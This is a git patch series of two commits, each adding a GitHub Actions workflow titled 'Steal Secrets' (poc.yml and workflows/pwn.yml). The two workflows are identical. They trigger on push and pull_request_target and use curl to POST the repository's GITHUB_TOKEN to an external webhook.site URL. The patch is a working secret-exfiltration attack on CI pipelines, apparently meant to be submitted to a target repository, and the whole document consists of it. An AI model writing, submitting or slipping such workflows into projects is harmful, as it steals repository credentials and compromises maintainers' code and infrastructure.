From fa875d016f2ad76551252b4aeca6abda5ed05fbf Mon Sep 17 00:00:00 2001 From: hckeronebug Date: Wed, 22 Jul 2026 13:29:59 +0530 Subject: [PATCH 1/2] Create poc.yml --- .github/poc.yml | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 .github/poc.yml diff --git a/.github/poc.yml b/.github/poc.yml new file mode 100644 index 0000000..51222a9 --- /dev/null +++ b/.github/poc.yml @@ -0,0 +1,10 @@ +name: Steal Secrets +on: [push, pull_request_target] + +jobs: + steal: + runs-on: ubuntu-latest + steps: + - run: | + curl -X POST https://webhook.site/f1d44439-6023-4082-a91d-834be32f614d \ + -d "token=${{ secrets.GITHUB_TOKEN }}" From 334c0073e54b2167771d1fff53b26236deeef016 Mon Sep 17 00:00:00 2001 From: hckeronebug Date: Wed, 22 Jul 2026 13:32:38 +0530 Subject: [PATCH 2/2] Add GitHub Actions workflow to steal secrets --- .github/workflows/pwn.yml | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 .github/workflows/pwn.yml diff --git a/.github/workflows/pwn.yml b/.github/workflows/pwn.yml new file mode 100644 index 0000000..51222a9 --- /dev/null +++ b/.github/workflows/pwn.yml @@ -0,0 +1,10 @@ +name: Steal Secrets +on: [push, pull_request_target] + +jobs: + steal: + runs-on: ubuntu-latest + steps: + - run: | + curl -X POST https://webhook.site/f1d44439-6023-4082-a91d-834be32f614d \ + -d "token=${{ secrets.GITHUB_TOKEN }}"